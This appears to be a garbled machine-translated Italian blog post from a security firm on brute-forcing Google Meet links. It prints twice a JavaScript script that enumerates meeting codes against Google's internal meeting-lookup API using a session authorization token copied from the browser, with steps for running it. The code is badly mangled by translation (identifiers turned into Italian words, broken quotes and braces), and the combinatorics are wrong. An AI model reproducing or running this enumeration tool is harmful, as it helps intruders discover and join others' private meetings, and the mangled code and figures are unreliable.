Visio – Resta bloccato in Google Meet | Dyrk, Dyna Meet – Visio
Incontra Visio
randomize = () => dico = dico.Diviso (”).Mappa (value => (< value, sort: Math.random() >).incantesimo ((a, b) => a.Incantesimo – b.sorte).CARTA GEOGRAFICA ((< value >) => valore).Giuntura (”),
NewPatternKey = () => “xxx-xxx-xxx”.Diviso (”).Mappa (c => c == ‘-‘?C: String.fromcharcode (matematica.Pavimento (matematica.Casuale ()*25) +97)).Giuntura (”),
Key = newPatterNKey (), contatore = 20;
Next = () => chiave.Diviso (”).Mappa (e => e == ‘-‘ ? E: DICO [DICO.INDICEF (E) + 1> = DICO.lunghezza ? 0: Dico.INDICEF (E) + 1]).Giuntura (”),
Contatore = 0;
MeetLink = ‘https: // Meet.Google.com/’, disponibile toe = () => xhr = new xmlhttpRequest ();
If (Counter ++> = 20) Counter = 0;
Key = newPatterNKey ();
Rendi casuale ();
>
Chiave = next ();
XHR.Aperto (‘get’, meetlink + key);
XHR.ADDEVENTLISNER (‘Load’, (e) => Fetch (MeetLink.Concat (“/$ rpc/google.RTC.incontri.V1.MeetingsPaceService/Resolvemeetingspace “),” Headers “:” Autorizzazione “: autorizzazione,
“Content-Type”: “Applicazione/X-Protobuf”,
“X-Goog-Adep-key”: E.bersaglio.responsabilità.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-GOOG-AUTHUS”: “0”,
“X-Goog-Ecode-Réspose-If-Executable”: “Base64”,
“X-Goog-Meeting-Identifier”: Btoa (‘\ b \ x02 \ x12 \ f’.Concat (chiave)),
>,
“corpo”: “\ n \ f”.Concat (chiave, “0 \ u0001”),
“Metodo”: “post”
>).Quindi (e => e.Testo ())
.Quindi (e => setTimeout (disponibile, 100);
console.Registro (MeetLink.CONCAT (chiave).BeautifyDisplay (38), (E.Sostituisci (/[^a-za-z0-9]/g, “”)+””).BeautyDisplay (38));
>);
>);
XHR.Inviare ();
>;
Corda.prototipo.Beautifydisplay = function (dimensione) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >misurare ? TXT.Lunghezza: dimensione)).Substr (0, dimensione).Concat (‘|’); >,
console.Chiaro ();
disponibile ();
>) ()
Dyrk

Attualmente lavora nel campo della sicurezza informatica, mi trovo regolarmente di fronte a situazioni abbastanza banali.
Ultimo, l’intrusione di una persona durante una riunione .
Fortunatamente, per la sicurezza, Google Meet ha incluso una funzione che consente sia di avvertire i partecipanti che una persona cerca di unirsi alla videoconferenza, ma anche di accettarla o rifiutarla.
Tuttavia, questo evento mi porta a farmi una serie di domande .
Complessità del link Google Meet
Prima di tutto, come è possibile per una persona connettersi a un link di incontro senza essere stato invitato ad esso ?
Dobbiamo considerare la semplicità del link: https: // google.Incontrare.com/Xxx -yyyy -zzzz
Xxx -yyyy -zzzz sono solo caratteri alfabetici tra A e Z, IE 27 possibili combinazioni per ogni personaggio.
Per i matematici, c’è quindi:
27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 possibili combinazioni .
Durata della vita di un link Google Meet
Sebbene ora siamo in grado di comprendere meglio come sono costruiti i collegamenti delle nostre obbligazioni della conferenza “Google Meet”, c’è un aspetto molto importante da tenere conto . La durata della vita di un link Google Meet !
In effetti, tutti possono generare Google Meet riunioni in pochi clic.
Ma dopo alcuni giorni, settimane o mesi . I collegamenti non sono più validi.

I collegamenti generati hanno quindi un certo periodo di validità .
L’eccezione rende eventi “ricorrenti”, ed è qui che diventa interessante.
In attività, ci sono molte opportunità di organizzarsi regolarmente (team / business, giornaliero, settimanale, mensile,, . ).
Quando un dipendente genera questo tipo di evento nella loro agenda, viene generato automaticamente un link Google Meet. Questo è invariabile.
Quindi avrai lo stesso link ogni volta per questo evento.
Con un po ‘di Javascript e Brute Force ?
Con tutti questi elementi, ora siamo attrezzati per spazzare tutte le possibilità e raggiungere un’alta probabilità per rilevare i collegamenti ai videoconocie !
Quindi ho un po ‘di assistenza retrò al funzionamento di Google Meet per scrivere un codice JavaScript che proverà un numero infinito di combinazioni
(C) dyrk.Org 2023-2024 – Meet’s Roulette
(1) Esegui questo script su https: // Google.Incontrare.com
;
Let Authorization = “SAPISIDHASH XXXXXXXXXXXXXX_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX“, dico =” abcdefghijklmnopqrstuvxz “,
randomize = () => dico = dico.Diviso (”).Mappa (value => (< value, sort: Math.random() >).incantesimo ((a, b) => a.Incantesimo – b.sorte).CARTA GEOGRAFICA ((< value >) => valore).Giuntura (”),
NewPatternKey = () => “xxx-xxx-xxx”.Diviso (”).Mappa (c => c == ‘-‘?C: String.fromcharcode (matematica.Pavimento (matematica.Casuale ()*25) +97)).Giuntura (”),
Key = newPatterNKey (), contatore = 20;
Next = () => chiave.Diviso (”).Mappa (e => e == ‘-‘ ? E: DICO [DICO.INDICEF (E) + 1> = DICO.lunghezza ? 0: Dico.INDICEF (E) + 1]).Giuntura (”),
Contatore = 0;
MeetLink = ‘https: // Meet.Google.com/’, disponibile toe = () => xhr = new xmlhttpRequest ();
If (Counter ++> = 20) Counter = 0;
Key = newPatterNKey ();
Rendi casuale ();
>
Chiave = next ();
XHR.Aperto (‘get’, meetlink + key);
XHR.ADDEVENTLISNER (‘Load’, (e) => Fetch (MeetLink.Concat (“/$ rpc/google.RTC.incontri.V1.MeetingsPaceService/Resolvemeetingspace “),” Headers “:” Autorizzazione “: autorizzazione,
“Content-Type”: “Applicazione/X-Protobuf”,
“X-Goog-Adep-key”: E.bersaglio.responsabilità.Match (/\ [“https \: \/\/meet \.Google\.com \ “\,” ([a-za-z0-9 \ _ \-]) “\]/) [1],
“X-GOOG-AUTHUS”: “0”,
“X-Goog-Ecode-Réspose-If-Executable”: “Base64”,
“X-Goog-Meeting-Identifier”: Btoa (‘\ b \ x02 \ x12 \ f’.Concat (chiave)),
>,
“corpo”: “\ n \ f”.Concat (chiave, “0 \ u0001”),
“Metodo”: “post”
>).Quindi (e => e.Testo ())
.Quindi (e =>
SetTimeout (disponibile, 100);
console.Registro (MeetLink.CONCAT (chiave).BeautifyDisplay (38), (E.Sostituisci (/[^a-za-z0-9]/g, “”)+””).BeautyDisplay (38));
>);
>);
XHR.Inviare ();
>;
Corda.prototipo.Beautifydisplay = function (dimensione) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >misurare ? TXT.Lunghezza: dimensione)).Substr (0, dimensione).Concat (‘|’); >,
console.Chiaro ();
disponibile ();
>) ()
Per gestire tutto ciò sarà necessario:
- Apri la pagina https: // incontra.Google.com
- Apri la console per sviluppatori
- Nella scheda “Network”, filtra il FETCH / XHR e recupera un token di token“Autorizzazione”
- Copia e incolla il codice sorgente sopra e messo sul posto indicava il token.
- Convalida con il tasto “ingresso” sulla tastiera.
Recupero del token “Autorizzazione”:

Per i curiosi, questo è il risultato di questa sceneggiatura in azione.
Pertanto, notiamo le linee che ci informa che lo spazio per la videoconferenza non esiste.
E altri che ci hanno messo in scena il segno della conferenza ! Indicando quindi che il collegamento è valido;)

Tuttavia, non aspettarti di cadere in pochi secondi su un link di incontro ^^
(A meno che tu non sia un uomo fortunato)
Dovrai essere grande pazienza, lasciandolo correre almeno mezz’ora.
Conclusione
Non prendere dal panico che c’è un numero maggiore di fortuna per trovare un link Google Meet valido rispetto al loto vincente.
Attenzione ! Una persona che incontra un accesso al link di soddisfazione valido a determinate informazioni senza la necessità di essere connessa:
Il nome della riunione (quindi evita di far scivolare le informazioni riservate) e i partecipanti connessi (tutto o un gioco).
Incontra Visio
Rapina online


Fino a 1000 giocatori contemporaneamente


Una piattaforma di accesso facile, in Visio
Horizon 2024


Fino a 1000 giocatori contemporaneamente


Una piattaforma di accesso facile, in Visio
Dov’è Charlie ?!

Fino a 1000 giocatori contemporaneamente


Una piattaforma di accesso facile, in Visio
Missione enigma

Fino a 1000 giocatori contemporaneamente


Una piattaforma di accesso facile, in Visio
Consapevolezza della sicurezza informatica

Fino a 5000 giocatori contemporaneamente


Una piattaforma di accesso facile, in Visio
Salva Natale !

Fino a 1000 giocatori contemporaneamente


Una piattaforma di accesso facile, in Visio
Copyright © 2023 – dyna’meet
Gestisci il consenso ai cookie
Per offrire le migliori esperienze, utilizziamo tecnologie come i cookie per archiviare e/o accedere alle informazioni dei dispositivi. Il consenso a queste tecnologie ci consentirà di elaborare dati come il comportamento di navigazione o ID univoci su questo sito. Il fatto di non consenso o ritiro del consenso può avere un effetto negativo su determinate caratteristiche e funzioni.
Funzionale funzionale sempre attivato
L’archiviazione o l’accesso tecnico sono strettamente necessari alla fine dell’interesse legittimo per consentire l’uso di un servizio specifico esplicitamente richiesto dall’abbonato o dall’utente o al solo scopo di trasmettere la trasmissione della comunicazione su una rete di comunicazioni elettroniche.
Preferenze preferenze
L’archiviazione o l’accesso tecnico sono necessari ai fini del legittimo interesse per archiviare le preferenze che non sono richieste dall’abbonato o dalla persona che utilizza il servizio.
Statistiche statistiche
Archiviazione o accesso tecnico utilizzato esclusivamente per scopi statistici. Archiviazione o accesso tecnico utilizzato esclusivamente in scopi statistici anonimi. In assenza di una convocazione per comparire, la conformità volontaria da parte del tuo fornitore di accesso a Internet o record aggiuntivi di terzi, le informazioni memorizzate o estratte a questo punto non possono generalmente essere utilizzate per identificarti.
È necessario l’accesso di archiviazione o tecnico per creare profili utente al fine di inviare annunci pubblicitari o per seguire l’utente su un sito Web o su diversi siti Web con scopi di marketing simili.




